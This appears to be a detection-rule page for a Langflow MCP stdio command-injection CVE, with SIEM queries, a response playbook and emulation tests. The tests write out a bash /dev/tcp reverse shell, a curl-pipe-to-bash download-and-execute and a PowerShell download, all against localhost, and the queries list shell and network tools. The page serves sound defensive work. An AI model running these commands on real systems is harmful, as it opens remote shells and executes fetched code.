Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697
Detects exploitation of CVE-2026-105697, an OS command injection vulnerability (CWE-78) in Langflow's MCP (Model Context Protocol) stdio server configuration. Affected Langflow/langflow-base/lfx versions allow an attacker who can supply or modify an MCP stdio server configuration to specify an arbitrary command and arguments that Langflow spawns as a child process, resulting in remote code execution on the host running the Langflow server. CVSS 9.9 (critical). A public PoC exists (GHSA-w794-rj3p-xv45). Detection focuses on the Langflow/uvicorn parent process spawning unexpected child processes (shells, interpreters, network tools) consistent with an attacker-controlled MCP stdio command, and on suspicious MCP server configuration changes via the Langflow API.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- langflow, langflow-base, lfx
- Versions
- >= 1.1.2, < 1.10.3, >= 0.1.2, < 0.10.3, < 1.10.3
Weakness (CWE)
Timeline
- Disclosed
- October 7, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-w794-rj3p-xv45
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
- https://nvd.nist.gov/vuln/detail/CVE-2026-105697
- https://github.com/langflow-ai/langflow/pull/12290
- https://github.com/langflow-ai/langflow/pull/14036
- https://github.com/langflow-ai/langflow/commit/eba285edf1dd4a33bf23a9cb8113c991fcdf3d1d
- https://github.com/langflow-ai/langflow/commit/efbc4a16e639409d938a4883463d27ef0bc637a0
- https://github.com/langflow-ai/langflow/releases/tag/v1.10.3
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
- https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem
- https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp
CVSS
What is CVE-2026-105697 Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697?
Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697 (CVE-2026-105697) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Process creation events. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// Langflow MCP stdio command injection — Langflow/uvicorn spawning suspicious children (CVE-2026-105697)
let langflowParents = dynamic(["langflow","uvicorn","gunicorn","python","python3"]);
let suspiciousChildren = dynamic(["sh","bash","zsh","dash","nc","ncat","netcat","curl","wget","powershell","pwsh","cmd","perl","ruby","node"]);
DeviceProcessEvents
| where Timestamp > ago(1d)
| extend ParentName = tolower(InitiatingProcessFileName), ChildName = tolower(FileName)
| where ParentName has_any (langflowParents)
| where InitiatingProcessCommandLine has_any ("langflow","lfx","mcp")
| where ChildName has_any (suspiciousChildren)
| where ProcessCommandLine has_any ("-c","-i","/dev/tcp","bash -i","curl ","wget ","base64","python -c")
| project Timestamp, DeviceName, AccountName, ParentName, InitiatingProcessCommandLine, ChildName, ProcessCommandLine, FolderPath
| order by Timestamp desc Flags the Langflow server process (or its uvicorn/python host) spawning shells, network utilities, or interpreters with command-line patterns typical of reverse shells or download-and-execute, as produced by an attacker-controlled MCP stdio server command.
Data Sources
Required Tables
False Positives
- Legitimate MCP stdio server integrations that intentionally launch helper interpreters (e.g. a Node or Python MCP tool server)
- Administrators running diagnostic shell commands from within the Langflow container
- CI/CD or automation harnesses that invoke langflow CLI alongside shell tooling
Sigma rule & cross-platform mapping
The detection logic for Langflow MCP stdio Server OS Command Injection (RCE) — CVE-2026-105697 (CVE-2026-105697) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-105697
References (10)
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
- https://nvd.nist.gov/vuln/detail/CVE-2026-105697
- https://github.com/langflow-ai/langflow/pull/12290
- https://github.com/langflow-ai/langflow/pull/14036
- https://github.com/langflow-ai/langflow/commit/eba285edf1dd4a33bf23a9cb8113c991fcdf3d1d
- https://github.com/langflow-ai/langflow/commit/efbc4a16e639409d938a4883463d27ef0bc637a0
- https://github.com/langflow-ai/langflow/releases/tag/v1.10.3
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
- https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem
- https://github.com/advisories/GHSA-w794-rj3p-xv45
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulated MCP stdio reverse-shell command spawn (Linux)
Expected signal: Process creation event: python3 (parent) -> bash -c 'bash -i >& /dev/tcp/...' child process with reverse-shell command line.
- Test 2 Simulated MCP stdio download-and-execute (Linux)
Expected signal: Process creation: python3 -> sh -c 'curl ... | bash' with outbound curl to attacker host.
- Test 3 Simulated MCP stdio arbitrary command (Windows)
Expected signal: Sysmon Event ID 1: python.exe -> powershell.exe with web-request command line.
Response Playbook
Triage
- Confirm the Langflow version on the affected host (`pip show langflow langflow-base lfx`); anything < 1.10.3 (or langflow-base >= 0.1.2 < 0.10.3) is vulnerable to CVE-2026-105697.
- Review the Langflow MCP server configuration (MCP stdio server entries) for any 'command'/'args' values referencing shells, interpreters, or network tools not expected in your environment.
- Examine the alerting process tree: identify the child process command line spawned by the Langflow/uvicorn parent and determine whether it matches a legitimate MCP tool server or an injected command (reverse shell, downloader, enumeration).
- Correlate the timestamp of the suspicious child process with Langflow API/audit logs for recent flow edits or MCP configuration changes and the source IP/user that made them.
Containment
- Isolate the affected host from the network to prevent lateral movement or data exfiltration from the RCE foothold.
- Stop the Langflow service/container and remove or revert any attacker-added MCP stdio server configuration before restarting.
- Rotate credentials, API keys, and secrets accessible to the Langflow process (database creds, model API keys, cloud tokens) as they must be considered compromised.
Evidence Collection
- Capture the full process tree, command lines, and environment of the Langflow parent and spawned children (e.g., from EDR or `ps`/auditd logs).
- Preserve Langflow application and access logs, the MCP configuration store / flow definitions database, and any files written by the spawned process.
- Collect network connection records (netstat/EDR) around the event to identify C2 or exfiltration endpoints.
Escalation Criteria
- ! Escalate to IR immediately if the spawned child process established an outbound/reverse connection or executed a downloader — treat as confirmed RCE.
- ! Escalate if MCP configuration was modified by an unexpected user/IP or if the Langflow instance is internet-exposed, indicating potential external compromise.
- ! Escalate if secrets or credentials reachable by the Langflow process may have been accessed, triggering broader credential-rotation and breach workflows.
Investigation Guide
Forensic Artifacts
- >
Langflow MCP server configuration entries (command/args) stored in the flow/project database - >
Process creation logs showing the Langflow/uvicorn parent spawning an unexpected child - >
Files or payloads dropped by the spawned process and outbound network connection records - >
Langflow API access logs capturing the configuration change and originating IP/user
Tuning Guidance
Enumerate the legitimate MCP stdio tool servers configured in your Langflow deployment and allowlist their command/args and resulting child process names to suppress expected interpreter launches. If Langflow runs in a container, scope the detection to that container/host and treat any shell or network-tool child as high fidelity since interactive shells should not normally originate from the server process. Upgrade to Langflow 1.10.3+ to remediate; after remediation, keep the detection as defense-in-depth but raise the command-line specificity (reverse-shell and base64 patterns) to reduce noise.
Hunting Queries
Baselines which child processes the Langflow host spawns so analysts can spot anomalous shells/network tools indicative of MCP stdio command injection.
DeviceProcessEvents | where InitiatingProcessFileName in~ ("langflow","uvicorn","python","python3") | where InitiatingProcessCommandLine has "langflow" | summarize Children=make_set(FileName), Cmds=make_set(ProcessCommandLine) by DeviceName, bin(Timestamp,1h) | where Children has_any ("sh","bash","nc","curl","wget","python","node") index=edr (parent_process_name=langflow OR parent_process_name=uvicorn OR parent_process_name=python*) parent_process=*langflow* | stats values(process_name) as children values(process) as cmds by host | search children IN (sh,bash,nc,curl,wget,node) Atomic Red Team Tests
Emulates the Langflow server spawning an injected MCP stdio command that launches a reverse shell, as would occur via CVE-2026-105697.
Command
python3 -c "import subprocess; subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])" & Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; pkill -f 'bash -i' 2>/dev/null; true Expected Telemetry
Process creation event: python3 (parent) -> bash -c 'bash -i >& /dev/tcp/...' child process with reverse-shell command line.
Expected Detection
KQL/SPL/EQL rules match on Langflow-style parent spawning bash with /dev/tcp reverse-shell pattern.
Emulates an injected MCP command performing download-and-execute via curl piped to a shell.
Command
python3 -c "import subprocess; subprocess.Popen(['sh','-c','curl -s http://127.0.0.1/payload.sh | bash'])" & Cleanup
pkill -f 'payload.sh' 2>/dev/null; true Expected Telemetry
Process creation: python3 -> sh -c 'curl ... | bash' with outbound curl to attacker host.
Expected Detection
Detection matches on Langflow parent spawning sh/curl with download-execute command line.
Emulates a Langflow (python/uvicorn) process spawning an injected PowerShell command on Windows.
Command
python -c "import subprocess; subprocess.Popen(['powershell','-c','Invoke-WebRequest http://127.0.0.1/x -OutFile $env:TEMP\\x.txt'])" Cleanup
del %TEMP%\x.txt 2>nul & exit /b 0 Expected Telemetry
Sysmon Event ID 1: python.exe -> powershell.exe with web-request command line.
Expected Detection
KQL/CQL/YARA-L rules match on Langflow parent spawning powershell with download command line.